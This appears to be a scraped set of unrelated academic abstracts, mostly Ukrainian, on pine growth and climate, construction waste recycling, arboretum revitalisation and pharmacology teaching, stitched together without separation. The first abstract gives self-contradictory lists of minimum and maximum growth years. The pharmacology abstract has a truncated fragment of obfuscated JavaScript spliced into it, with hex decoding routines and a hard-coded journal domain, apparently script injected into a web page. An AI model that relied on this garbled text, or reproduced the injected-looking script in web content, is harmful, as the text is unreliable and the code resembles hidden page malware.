Purpose of this research was to detect influence of climatic change on pine radial increment in stand in the Left-bank Forest-steppe of Ukraine as example 100-years-old stand at State Enterprise 'Kharkiv forest scientific research station’. Methods. Dendrochronological. Method of correlation function and multiple regressions (response function) were used to analyze the influence of climatic factors on tree radial increment. For this purpose computer program RESPO was used. Results. Tree ring series were built and were used for correlation analysis between climatic factors and pine radial increment for two periods: 1960-1988 and 1988-2016.Years of minimum (1933, 1942, 1956, 1972, 1976, 1976, 1987, 1992, 2002, 2006 та 2012) and maximum (1933, 1942, 1956, 1972, 1975, 1976, 1979, 1979, 1979, 1987, 1992, 2002 та 2012) of radial increment were detected.  Depressions of pine radial increment were as a result of negative weather conditions: low and high winter and early-spring temperature, droughts during vegetation period.  Maximums of radial increments were depended on favorable weather conditions for pine radial growth. Correlation and Response analysis for two periods showed that increase of temperature and precipitation, excluding winter precipitation, changed response of forest ecosystems to climatic change: if in first period (1960-1988) radial increment limited by April temperature and together July temperature positively influenced on radial growth, in second period (1988-2016) June temperature negatively infuenced on radial increment. Slight increase precipitation during vegetation period could not soften impact if high temperature during vegetatation period on tree radial increment. Conclusions. At comparison 1960-1988 and 1988-2016 it was detected that during first period positive influence of summer temperature on radial growth was distinctive and for second period one started to limit increment (negative influence) were detected. Slight increase of precipitation for vegetation period in second period significantly didn’t influence on pine radial growth. In second period increase of winter temperature and number of thaws negatively influenced on soil moisture, decreased of tree ring widths.Цель. Выявление влияния изменений климата на радиальный прирост сосны в Левобережной степи Украины на примере 100-летнего соснового насаждения ГП «Харьковская лесная научно-исследовательская станция». Методы. Дендрохронологические. Результаты. Созданы древесно-кольцевые хронологии для установления связей между климатическими показателями и радиальным приростом сосны за два периода: 1960-1988 та 1988-2016 гг. Корреляционный анализ и функция отклика за два периода показали, что при увеличении температур и количества осадков (исключением стали зимние осадки) изменилась реакция лесных екосистем на вариации условий природной среды. Так, если в первом периоде (1960-1988 гг.) радиальный прирост ограничивали апрельские температуры, в то же время на прирост положительно влияли летние (июльские) температуры, то во втором периоде летние температуры (июнькие) стали негативно влиять на прирост деревьев. Незначительное увеличение количества осадков за вегетационный период не смогло смягчить влияние высоких температур вегетационного периода на радиальный прирост. Выводы. При сравнении 1960-1988 и 1988-2016 гг. выявлено, что для первого периода характерно положительное влияние летних температур на радиальный прирост, однако для второго периода они начинают ограничивать прирост деревьев. Незначительное увеличение количества осадков за вегетационный период не смогло смягчить влияние высоких температур вегетационного периода на радиальный прирост.Мета. Виявлення впливу змін клімату на радіальний приріст сосни в Лівобережному степу на прикладі 100-річного соснового насадження ДП «Харківська лісова науково-дослідна станція». Методи. Дендрохронологічні. Результати. Створено деревно-кільцеві хронології, які використано у встановленні зв’язків між кліматичними чинниками та радіальним приростом сосни за два періоди: 1960-1988 та 1988-2016 рр. Кореляційний аналіз та функція відгуку за два періоди показали, що при збільшенні температур та кількості опадів (виняток – зимові опади) змінилася реакція лісових екосистем на зміни клімату: так, якщо в першому періоді (1960-1988 рр.) радіальний приріст обмежували квітневі температури, водночас позитивно впливали липневі температури, то у другому періоді (1988-2016 рр.) червневі температури вже негативно впливали на приріст. Незначне збільшення кількості опадів за вегетаційний період не змогли пом’якшити вплив високих температур вегетаційного періоду на радіальний приріст. Висновки. При порівнянні 1960-1988 та 1988-2016 рр. виявлено, що якщо для першого періоду характерний позитивний вплив літніх температур на радіальний приріст, то для другого періоду вони починають обмежувати приріст. Незначне збільшення кількості опадів за вегетаційний період у другому періоді не змогло пом’якшити вплив високих температур  на радіальний приріст дерев.

Construction waste recycling in the circular economy model

Publisher Copyright: © 2023 Institute of Physics Publishing. All rights reserved.The disposal of construction waste, the amount of which is constantly growing due to hostilities in Ukraine and outdated housing stock that has lost its consumer properties is an acute problem. The study proposes adopting the circular economy and the principles of improving the security and environmental situation in Ukraine to restore the country's potential. The article analyzes the main stages and processes of construction waste disposal, taking into account their fractional recycling and reuse in the reconstruction of settlements, which is based on the rational use of resources and innovations and will reduce the cost of restoring destroyed settlement areas. Efficient construction is possible only if environmental and economic indicators are improved, the level of safety and manufacturability are improved. A methodology for assessing the effectiveness of future construction has been developed and recommendations for its improvement have been given.publishersversionPeer reviewe

Revitalization of regular landscapes of the Arboretum exposition zone of the State Biotechnology University

Purpose. To substantiate the concept of revitalization of regular landscapes of the exposition zone of the dendrological park of the State Biotechnological University. Methods. Field, laboratory, geoinformation, computer modeling (QGIS 3.28.3-Firenze 2022-08-31, Realtime Landscaping Architect 2023.02, Trial Free Version and Sketchup). Results. The historical context of the creation of the arboretum, the agro-ecological status of the elements of soil fertility, its trace element status, the ecological-ameliorative and ecological-toxic state were studied. The selection of introducers was carried out for the 5A climatic zone of winter hardiness (USDA-zone). Geoinformation modeling of the studied space was carried out, relief isolines were created. A revitalization project of regular landscape compositions of the exposition zone of the dendrological park has been developed. Taking into account the soil and climatic conditions in the formation of plant compositions requires the use of introducers that do not require a high level of available nitrogen compounds, but respond well to an increased content of mobile phosphorus and potassium, do not lose decorativeness when grown without irrigation or with the use of minimal soil protective irrigation, with high resistance against diseases and pests and will serve to increase the biological diversity of the urban landscapes of Kharkiv and other cities of Ukraine located in the 5th winter hardiness zone (USDA zone). Conclusions. It is proposed to preserve the approach proposed by the founders of the dendrological park, that is, to restore the decorativeness and expressiveness of plant compositions, but in the context of making nature-oriented decisions, to enrich this approach with an ecological feature

ОРГАНІЗАЦІЯ ВИХОВНОЇ РОБОТИ НА КАФЕДРІ ФАРМАКОЛОГІЇ З КЛІНІЧНОЮ ФАРМАКОЛОГІЄЮ

The article elucidates the educational work with students at the Pharmacology and Clinical Pharmacology Department of I. Ya. Horbachevsky Ternopil State Medical University. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті висвітлено виховну роботу зi студентами Тернопільського державного медичного університету імені І. Я. Горбачевського на кафедрі фармакології з клінічною фармакологією.